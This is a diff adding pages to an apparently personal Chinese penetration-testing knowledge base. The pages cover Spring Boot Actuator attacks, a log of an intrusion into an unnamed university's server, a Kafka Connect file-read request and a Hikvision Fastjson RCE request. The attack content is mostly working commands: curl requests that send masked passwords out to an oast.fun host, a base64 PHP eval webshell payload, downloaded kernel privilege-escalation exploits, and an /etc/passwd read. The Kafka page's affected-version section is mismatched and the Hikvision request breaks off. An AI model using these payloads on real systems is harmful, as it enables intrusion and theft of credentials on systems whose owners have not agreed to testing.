+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/渗透手法/SpringBoot渗透/index.html b/docs/个人知识库/渗透测试/渗透手法/SpringBoot渗透/index.html new file mode 100644 index 0000000..4b834df --- /dev/null +++ b/docs/个人知识库/渗透测试/渗透手法/SpringBoot渗透/index.html @@ -0,0 +1,201 @@ + + + + + +SpringBoot渗透 | wjlin0 + + + + + + + +

SpringBoot渗透

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:35:10
+

SpringBoot渗透

+
+

日常渗透过程中,经常会碰到SpringBoot搭建的微服务(API居多),针对性的做了一个总结。

+
+

Springboot的确定还是很好确定的,它的出错一般长这样,碰到这个大致就是springboot了

+

image-20240124004206952

+

Actuator​

+

Actuator是SpringBoot项目中一个非常强大一个功能,有助于对应用程序进行监视和管理,通过restful api请求来监管、审计、收集应用的运行情况。

+

Actuator的核心是端点Endpoint,它用来监视应用程序及交互,spring-boot-actuator中已经内置了非常多的Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的Endpoints。

+

每个Endpoint都可以启用和禁用。要远程访问Endpoint,还必须通过JMX或HTTP进行暴露,大部分应用选择HTTP,Endpoint 的ID默认映射到一个带/actuator前缀的URL。例如,health端点默认映射到/actuator/health。

+

Endpoint端点介绍​

+

Actuator的核心就是Endpoint,每一个Endpoint都代表着监控某一项数据。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
端点描述
auditevents获取当前应用暴露的审计事件信息
beans获取应用中所有的 Spring Beans 的完整关系列表
caches获取公开可以用的缓存
conditions获取自动配置条件信息,记录哪些自动配置条件通过和没通过的原因
configprops获取所有配置属性,包括默认配置,显示一个所有 @ConfigurationProperties 的整理列版本
env获取所有环境变量
flyway获取已应用的所有Flyway数据库迁移信息,需要一个或多个 Flyway Bean
liquibase获取已应用的所有Liquibase数据库迁移。需要一个或多个 Liquibase Bean
health获取应用程序健康指标(运行状况信息)
httptrace获取HTTP跟踪信息(默认情况下,最近100个HTTP请求-响应交换)。需要 HttpTraceRepository Bean
info获取应用程序信息
integrationgraph显示 Spring Integration 图。需要依赖 spring-integration-core
loggers显示和修改应用程序中日志的配置
logfile返回日志文件的内容(如果已设置logging.file.name或logging.file.path属性)
metrics获取系统度量指标信息
mappings显示所有@RequestMapping路径的整理列表
scheduledtasks显示应用程序中的计划任务
sessions允许从Spring Session支持的会话存储中检索和删除用户会话。需要使用Spring Session的基于Servlet的Web应用程序
shutdown关闭应用,要求endpoints.shutdown.enabled设置为true,默认为 false
threaddump获取系统线程转储信息
heapdump返回hprof堆转储文件
jolokia通过HTTP公开JMX bean(当Jolokia在类路径上时,不适用于WebFlux)。需要依赖 jolokia-core
prometheus以Prometheus服务器可以抓取的格式公开指标。需要依赖 micrometer-registry-prometheus
+

SpringBoot Actuator使用及配置​

+

上面介绍了Actuator以及Endpoint,接下来就开始使用它,只需要引入下面启动器依赖就可以使用Actuator了。

+
<!-- actuator -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
+

在SpringBoot2.X中,Actuator 默认只开放 health 。我们先不做任何配置,直接启动SpringBoot项目,然后在浏览器输入:**http://localhost:8080/actuator**查看默认开放的端点,如下图所示

+

image-20240124005054866

+

如果我们需要暴露所有断点只能在下方设置

+
management:
endpoints:
web:
base-path: /actuator
exposure:
include: *
+

image-20240124005545874

+

当然也可以针对性暴露

+
management:
endpoints:
web:
base-path: /actuator #配置端点访问前缀
exposure:
include: '*' #暴露所有端点
enabled-by-default: false #禁用所有端点
endpoint:
info:
enabled: true #上面关闭所有端点之后,又暴露指定的端点,这里暴露info端点
+

image-20240124005723412

+

ENV​

+

通过 env 可以获取到所有关于当前 SpringBoot 应用程序的运行环境信息,如:操作系统信息(systemProperties)、环境变量信息、JDK 版本及 ClassPath 信息、当前启用的配置文件(activeProfiles)、propertySources、应用程序配置信息(applicationConfig)等

+

image-20240124010000032

+

获取被星号脱敏的密码的明文 (方法一)​

+
    +
  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • +
  • 存在getProperty的mbean
  • +
+
<!-- https://mvnrepository.com/artifact/org.jolokia/jolokia-support-spring -->
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-support-spring</artifactId>
<version>2.0.0</version>
</dependency>
+

利用 修改 security.user.password 为对应的数据即可查看

+
curl -X POST 'http://localhost:8080/actuator/jolokia' -H 'Content-Type: application/json'  --data '{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}' -v
+

image-20240124014706709

+

常用的mbean有

+
org.springframework.boot:name=SpringApplication,type=Admin
org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager
+

获取被星号脱敏的密码的明文 (方法二)​

+

条件

+
    +
  • management.endpoint.env.post.enabled=true
  • +
  • refresh、env接口可访问
  • +
  • 存在依赖 spring-boot-starter-actuator、spring-cloud-starter-netflix-eureka-client
  • +
+

这种方法存在局限性就是参数是通过拼接url 以URL 带出来的,所以不符合URL的数据是无法完成外带的

+

${PWD} 就是需要被外带的值,sxielvzhzqayslxhetklcq64byiulay79.oast.fun dns平台的地址即可

+
curl -X POST -H 'Content-Type: application/json' --data '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}'  'http://127.0.0.1:8080/actuator/env'
+

image-20240125132240871

+
# 刷新配置
curl -X POST -H 'Content-Type: application/json' --data '{}' 'http://127.0.0.1:8080/actuator/refresh'
+

image-20240125132256414

+

最后在dns 查看即可

+

image-20240125132324857

+

获取被星号脱敏的密码的明文 (方法三)(暂未复现)​

+

条件

+
    +
  • management.endpoint.env.post.enabled=true
  • +
  • refresh、env接口可访问
  • +
+

与方法二相似

+
curl -X POST -H 'Content-Type: application/json' --data '{"name":"spring.cloud.bootstrap.location","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}'  'http://127.0.0.1:8080/actuator/env'
+
# 刷新配置
curl -X POST -H 'Content-Type: application/json' --data '{}' 'http://127.0.0.1:8080/actuator/refresh'
+

获取被星号脱敏的密码的明文 (方法四)(暂未复现)​

+

条件

+
    +
  • heapdump
  • +
+

参考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 语句

+
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
+

辅助用 password 等关键词快速过滤分析,获得密码等相关敏感信息的明文。

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/渗透手法/某大学渗透测试/index.html b/docs/个人知识库/渗透测试/渗透手法/某大学渗透测试/index.html new file mode 100644 index 0000000..1a830c7 --- /dev/null +++ b/docs/个人知识库/渗透测试/渗透手法/某大学渗透测试/index.html @@ -0,0 +1,87 @@ + + + + + +某大学渗透测试 | wjlin0 + + + + + + + +

某大学渗透测试

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:34:34
+

使用自动化脚本配合pathScan、nuclei进行漏洞扫描

+
#!/bin/bash

# 获取脚本的第一个参数作为域名
domain=$1

# 检查是否提供了域名
if [ -z "$domain" ]; then
echo "用法: $0 wjlin0.com"
exit 1
fi
output_path=./output/$domain

# 创建路径
mkdir -p $output_path

# 扫描子域名 (-sd 发现更多目标)
pathScan -s -sq $domain -o $output_path/out.csv -csv -sd
# 排除 5xx 和 400 状态码的结果
cat $output_path/out.csv | awk -F, 'NR > 1 && !($9 ~ /^[5]/ || $9 == 400) { print $2 }' > $output_path/url_out.txt

# 从 url_out.txt 中提取域名, 并且去重
cat $output_path/url_out.txt | awk -F/ '{ print $3 }' | sort -u > $output_path/domain_out.txt
# 排除 vpn 相关域名


# 扫描漏洞
nuclei -list $output_path/url_out.txt -o $output_path/nuclei_out.txt
+

有个严重,好家伙dvwa,进去看看

+

image-20240112211000138

+

看一下有没有disable_functions()

+
http://xx.xx/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2B&1=phpinfo();
+

image-20240112211429705

+

应该是没有 用蚁剑上线吧

+

image-20240112170550295

+

看一下能不能执行系统命令,发现能,还挺好

+

image-20240112170705054

+

image-20240112175624858

+
Linux mituan-cg-2106 4.19.24-7.34.cbp.al7.x86_64 #1 SMP Thu Dec 15 08:56:31 UTC 2022 x86_64 GNU/Linux

PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
+

查找有没有suid

+
find / -perm -u=s -type f 2>/dev/null
+

image-20240112171848295

+

信息收集脚本

+
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
+
=====================( Current Output Verbosity Level: 0 )======================
===============================================================( humanity )=====
[!] nowar0 Should we question autocrats and their "military operations"?... yes!
---
NO
WAR
---
==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in administrative groups?................. nope
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... nope
[!] sud020 Can we sudo with a password?.................................... nope
[!] sud030 Can we list sudo commands with a password?...................... nope
[*] sud040 Can we read sudoers files?...................................... nope
[*] sud050 Do we know if any other users used sudo?........................ nope
============================================================( file system )=====
[*] fst000 Writable files outside user's home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ nope
[!] fst030 Can we write to any setuid binary?.............................. nope
[*] fst040 Binaries with setgid bit........................................ skip
[!] fst050 Uncommon setgid binaries........................................ skip
[!] fst060 Can we write to any setgid binary?.............................. skip
[*] fst070 Can we read /root?.............................................. nope
[*] fst080 Can we read subdirectories under /home?......................... nope
[*] fst090 SSH files in home directories................................... nope
[*] fst100 Useful binaries................................................. yes!
[*] fst110 Other interesting files in home directories..................... nope
[!] fst120 Are there any credentials in fstab/mtab?........................ nope
[*] fst130 Does 'www-data' have mail?...................................... nope
[!] fst140 Can we access other users mail?................................. nope
[*] fst150 Looking for GIT/SVN repositories................................ nope
[!] fst160 Can we write to critical files?................................. nope
[!] fst170 Can we write to critical directories?........................... nope
[!] fst180 Can we write to directories from PATH defined in /etc?.......... nope
[!] fst190 Can we read any backup?......................................... nope
[!] fst200 Are there possible credentials in any shell history file?....... nope
[!] fst210 Are there NFS exports with 'no_root_squash' option?............. nope
[*] fst220 Are there NFS exports with 'no_all_squash' option?.............. nope
[i] fst500 Files owned by user 'www-data'.................................. skip
[i] fst510 SSH files anywhere.............................................. skip
[i] fst520 Check hosts.equiv file and its contents......................... skip
[i] fst530 List NFS server shares.......................................... skip
[i] fst540 Dump fstab file................................................. skip
=================================================================( system )=====
[i] sys000 Who is logged in................................................ skip
[i] sys010 Last logged in users............................................ skip
[!] sys020 Does the /etc/passwd have hashes?............................... nope
[!] sys022 Does the /etc/group have hashes?................................ nope
[!] sys030 Can we read shadow files?....................................... nope
[*] sys040 Check for other superuser accounts.............................. nope
[*] sys050 Can root user log in via SSH?................................... nope
[i] sys060 List available shells........................................... skip
[i] sys070 System umask in /etc/login.defs................................. skip
[i] sys080 System password policies in /etc/login.defs..................... skip
===============================================================( security )=====
[*] sec000 Is SELinux present?............................................. nope
[*] sec010 List files with capabilities.................................... nope
[!] sec020 Can we write to a binary with caps?............................. nope
[!] sec030 Do we have all caps in any binary?.............................. nope
[*] sec040 Users with associated capabilities.............................. nope
[!] sec050 Does current user have capabilities?............................ skip
[!] sec060 Can we read the auditd log?..................................... nope
========================================================( recurrent tasks )=====
[*] ret000 User crontab.................................................... nope
[!] ret010 Cron tasks writable by user..................................... nope
[*] ret020 Cron jobs....................................................... yes!
[*] ret030 Can we read user crontabs....................................... nope
[*] ret040 Can we list other user cron tasks?.............................. nope
[*] ret050 Can we write to any paths present in cron jobs.................. yes!
[!] ret060 Can we write to executable paths present in cron jobs........... nope
[i] ret400 Cron files...................................................... skip
[*] ret500 User systemd timers............................................. nope
[!] ret510 Can we write in any system timer?............................... nope
[i] ret900 Systemd timers.................................................. skip
================================================================( network )=====
[*] net000 Services listening only on localhost............................ yes!
[!] net010 Can we sniff traffic with tcpdump?.............................. nope
[i] net500 NIC and IP information.......................................... skip
[i] net510 Routing table................................................... skip
[i] net520 ARP table....................................................... skip
[i] net530 Nameservers..................................................... skip
[i] net540 Systemd Nameservers............................................. skip
[i] net550 Listening TCP................................................... skip
[i] net560 Listening UDP................................................... skip
===============================================================( services )=====
[!] srv000 Can we write in service files?.................................. nope
[!] srv010 Can we write in binaries executed by services?.................. nope
[*] srv020 Files in /etc/init.d/ not belonging to root..................... nope
[*] srv030 Files in /etc/rc.d/init.d not belonging to root................. nope
[*] srv040 Upstart files not belonging to root............................. nope
[*] srv050 Files in /usr/local/etc/rc.d not belonging to root.............. nope
[i] srv400 Contents of /etc/inetd.conf..................................... skip
[i] srv410 Contents of /etc/xinetd.conf.................................... skip
[i] srv420 List /etc/xinetd.d if used...................................... skip
[i] srv430 List /etc/init.d/ permissions................................... skip
[i] srv440 List /etc/rc.d/init.d permissions............................... skip
[i] srv450 List /usr/local/etc/rc.d permissions............................ skip
[i] srv460 List /etc/init/ permissions..................................... skip
[!] srv500 Can we write in systemd service files?.......................... nope
[!] srv510 Can we write in binaries executed by systemd services?.......... nope
[*] srv520 Systemd files not belonging to root............................. nope
[i] srv900 Systemd config files permissions................................ skip
===============================================================( software )=====
[!] sof000 Can we connect to MySQL with root/root credentials?............. nope
[!] sof010 Can we connect to MySQL as root without password?............... nope
[!] sof015 Are there credentials in mysql_history file?.................... nope
[!] sof020 Can we connect to PostgreSQL template0 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template1 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template0 as psql and no pass?..... nope
[!] sof020 Can we connect to PostgreSQL template1 as psql and no pass?..... nope
[*] sof030 Installed apache modules........................................ yes!
[!] sof040 Found any .htpasswd files?...................................... nope
[!] sof050 Are there private keys in ssh-agent?............................ nope
[!] sof060 Are there gpg keys cached in gpg-agent?......................... nope
[!] sof070 Can we write to a ssh-agent socket?............................. nope
[!] sof080 Can we write to a gpg-agent socket?............................. nope
[!] sof090 Found any keepass database files?............................... nope
[!] sof100 Found any 'pass' store directories?............................. nope
[!] sof110 Are there any tmux sessions available?.......................... nope
[*] sof120 Are there any tmux sessions from other users?................... nope
[!] sof130 Can we write to tmux session sockets from other users?.......... nope
[!] sof140 Are any screen sessions available?.............................. nope
[*] sof150 Are there any screen sessions from other users?................. nope
[!] sof160 Can we write to screen session sockets from other users?........ nope
[*] sof170 Can we access MongoDB databases without credentials?............ nope
[!] sof180 Can we access any Kerberos credentials?......................... nope
[i] sof500 Sudo version.................................................... skip
[i] sof510 MySQL version................................................... skip
[i] sof520 Postgres version................................................ skip
[i] sof530 Apache version.................................................. skip
[i] sof540 Tmux version.................................................... skip
[i] sof550 Screen version.................................................. skip
=============================================================( containers )=====
[*] ctn000 Are we in a docker container?................................... nope
[*] ctn010 Is docker available?............................................ nope
[!] ctn020 Is the user a member of the 'docker' group?..................... nope
[*] ctn200 Are we in a lxc container?...................................... nope
[!] ctn210 Is the user a member of any lxc/lxd group?...................... nope
==============================================================( processes )=====
[i] pro000 Waiting for the process monitor to finish....................... yes!
[i] pro001 Retrieving process binaries..................................... yes!
[i] pro002 Retrieving process users........................................ yes!
[!] pro010 Can we write in any process binary?............................. nope
[*] pro020 Processes running with root permissions......................... yes!
[*] pro030 Processes running by non-root users with shell.................. nope
[i] pro500 Running processes............................................... skip
[i] pro510 Running process binaries and permissions........................ skip
===================================================================( CVEs )=====
[!] cve-2019-5736 Escalate in some types of docker containers.............. nope
[!] cve-2021-3156 Sudo Baron Samedit vulnerability......................... nope
[!] cve-2021-3560 Checking for policykit vulnerability..................... nope
[!] cve-2021-4034 Checking for PwnKit vulnerability........................ nope
[!] cve-2022-0847 Dirty Pipe vulnerability................................. nope
[!] cve-2022-25636 Netfilter linux kernel vulnerability.................... nope
[!] cve-2023-22809 Sudoedit bypass in Sudo <= 1.9.12p1..................... nope

==================================( FINISHED )==================================
+

查找本地提权漏洞

+
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O linux-exploit-suggester.sh
+
./linux-exploit-suggester.sh

Available information:

Kernel version: 4.19.24
Architecture: x86_64
Distribution: N/A
Distribution version: N/A
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: N/A

Searching among:

81 kernel space exploits
0 user space exploits

Possible Exploits:

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
Exposure: less probable
Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2022-2586] nft_object UAF

Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-27365] linux-iscsi

Details: https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html
Exposure: less probable
Tags: RHEL=8
Download URL: https://codeload.github.com/grimm-co/NotQuite0DayFriday/zip/trunk
Comments: CONFIG_SLAB_FREELIST_HARDENED must not be enabled

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-15666] XFRM_UAF

Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2019-13272] PTRACE_TRACEME

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
Comments: Requires an active PolKit agent.

+
    +
  • 尝试CVE-2019-13272
  • +
+
wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
+

查看gblic版本

+
www-data@mituan-cg-2106:/tmp$ ldd --version
ldd (Debian GLIBC 2.24-11+deb9u3) 2.24
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
+

安装glibc-2.24

+

这个方法出了很多问题,干脆放弃了 直接 用docker 编译 poc 就行了哇

+
mkdir -p /tmp/glibc-2.24/src-build/ && cd /tmp/glibc-2.24
wget https://ftp.gnu.org/gnu/glibc/glibc-2.24.tar.gz && tar -xvf glibc-2.24.tar.gz
cd src-build/ && ../configure --prefix=/opt/glibc-2.24
make && make install
+

使用docker 编译glibc-2.24 和 编译 poc 并直接导出a.out

+
# 使用 Debian 9 (Stretch) 作为基础镜像
FROM debian:9
# 解决 Debian 9 已经达到了其生命周期的终点并被移动到了归档状态 问题
RUN echo "deb http://archive.debian.org/debian/ stretch main contrib non-free" > /etc/apt/sources.list \
&& echo "deb http://archive.debian.org/debian-security/ stretch/updates main" >> /etc/apt/sources.list

# 安装编译依赖 忽略 APT 安全警告
RUN apt-get -o Acquire::Check-Valid-Until=false update && apt-get install -y \
build-essential \
gcc \
g++ \
bison \
perl \
python3 \
git \
gawk \
wget

# 创建一个工作目录
WORKDIR /glibc-build

# 克隆 glibc 源代码
RUN git clone https://sourceware.org/git/glibc.git /glibc-source

# 切换到特定的版本
RUN cd /glibc-source && git checkout glibc-2.24

# 配置构建目录
RUN mkdir /glibc-build/build
WORKDIR /glibc-build/build

# 配置 glibc
RUN /glibc-source/configure --prefix=/opt/glibc-2.24

# 编译和安装
RUN make -j$(nproc) && make install

# 设置卷,用于导出编译好的文件
VOLUME /tmp

+

执行命令 好了开始等待个上万年

+
docker build -t glibc-2.24-debian9 .
docker run --rm -v /tmp/1:/tmp -it glibc-2.24-debian9 /bin/bash
# 容器中
wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c -O poc.c
gcc -Wall --std=gnu99 -s /tmp/poc.c -o /tmp/ptrace_traceme_root
+

上传并执行 玩个屁白费力气

+
chmod +x /tmp/ptrace_traceme_root
/tmp/ptrace_traceme_root
+

image-20240112202526854

+
    +
  • 尝试 CVE-2022-32250
  • +
+

使用上面docker 容器环境,编译poc

+
docker run --rm -v /tmp/1:/tmp -it glibc-2.24-debian9 /bin/bash 
# 容器中
wget https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c -O exp.c
gcc exp.c -o exp -l mnl -l nftnl -w
+

出错啦

+

image-20240112204023742

+

安装 libmnl,并再次编译

+
# 容器中
apt-get install -y libmnl-dev
gcc exp.c -o exp -l mnl -l nftnl -w
+

还是出错啦

+

image-20240112204205475

+

安装 libnftnl-dev,并再次编译

+
apt install -y libnftnl-dev --allow-unauthenticated
gcc exp.c -o exp -l mnl -l nftnl -w
+

又又又出错了

+

image-20240112204841016

+

GPT提示的是 5.1.x 才提供的 apt search linux-headers 看了一下,发现并没有,就放弃了

+

image-20240112205140417

+

看了一下数据库也没有啥好用的,算了

+

image-20240112212017967

+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞合集/中间件/Apache/Kafka Connect任意文件读取漏洞(CVE-2025-27817)/index.html b/docs/个人知识库/漏洞合集/中间件/Apache/Kafka Connect任意文件读取漏洞(CVE-2025-27817)/index.html new file mode 100644 index 0000000..9e17c56 --- /dev/null +++ b/docs/个人知识库/漏洞合集/中间件/Apache/Kafka Connect任意文件读取漏洞(CVE-2025-27817)/index.html @@ -0,0 +1,31 @@ + + + + + +Kafka Connect任意文件读取漏洞(CVE-2025-27817) | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-06-14 17:57:25
+

一、漏洞简介

+

Kafka Connect 是一种用于在 Apache Kafka 和其他系统之间可扩展且可靠地流式传输数据的工具。 它使快速定义将大量数据移入和移出 Kafka 的连接器变得简单。 Kafka Connect 可以摄取整个数据库或从所有应用程序服务器收集指标到 Kafka 主题中,使数据可用于低延迟的流处理。 导出作业可以将数据从 Kafka 主题传送到二级存储和查询系统或批处理系统进行离线分析。

+

二、影响版本

+
    +
  • 用友NC
  • +
+

三、资产测绘

+
    +
  • huiter:app.name=="用友 UAP"
  • +
+
    +
  • 登录页面
  • +
+

四、漏洞复现

+
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1617

{
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:6666",
"sasl.mechanism": "OAUTHBEARER",
"security.protocol": "SASL_SSL",
"sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;"
},
"topic": "test",
"useEarliestOffset": true,
"inputFormat": {
"type": "regex",
"pattern": "([\\s\\S]*)",
"listDelimiter": "",
"columns": ["raw"]
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "!!!_no_such_column_!!!",
"missingValue": "1970-01-01T00:00:00Z"
},
"dimensionsSpec": {},
"granularitySpec": {
"rollup": false
}
},
"tuningConfig": {
"type": "kafka"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞合集/契约锁电子签章系统/契约锁电子签章系统RCE/index.html b/docs/个人知识库/漏洞合集/契约锁电子签章系统/契约锁电子签章系统RCE/index.html new file mode 100644 index 0000000..eef683d --- /dev/null +++ b/docs/个人知识库/漏洞合集/契约锁电子签章系统/契约锁电子签章系统RCE/index.html @@ -0,0 +1,16 @@ + + + + + +契约锁电子签章系统RCE | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/漏洞合集/海康威视/海康威视IP摄像机NVR设备固件远程代码执行漏洞(CVE-2021-36260)/index.html b/docs/个人知识库/漏洞合集/海康威视/海康威视IP摄像机NVR设备固件远程代码执行漏洞(CVE-2021-36260)/index.html new file mode 100644 index 0000000..b18a994 --- /dev/null +++ b/docs/个人知识库/漏洞合集/海康威视/海康威视IP摄像机NVR设备固件远程代码执行漏洞(CVE-2021-36260)/index.html @@ -0,0 +1,16 @@ + + + + + +wjlin0 + + + + + + + +

找不到页面

我们找不到您要找的页面。

请联系原始链接来源网站的所有者,并告知他们链接已损坏。

+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞合集/海康威视/海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现/index.html b/docs/个人知识库/漏洞合集/海康威视/海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现/index.html new file mode 100644 index 0000000..1eebcb6 --- /dev/null +++ b/docs/个人知识库/漏洞合集/海康威视/海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现/index.html @@ -0,0 +1,25 @@ + + + + + +海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现 | wjlin0 + + + + + + + +

海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现

作者修订时间
wjlin02025-06-14 01:58:00
+

海康威视部分综合安防管理平台管理平台存在Fastjson远程命令执行漏洞,攻击者可通过构造恶意Payload执行并获取服务器系统权限以及敏感数据信息。

+
title="综合安防管理平台"
+
POST /bic/ssoService/v1/keepAlive HTTP/1.1
Host:
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
cmd: whoami
Connection: close
Content-Length: 3330

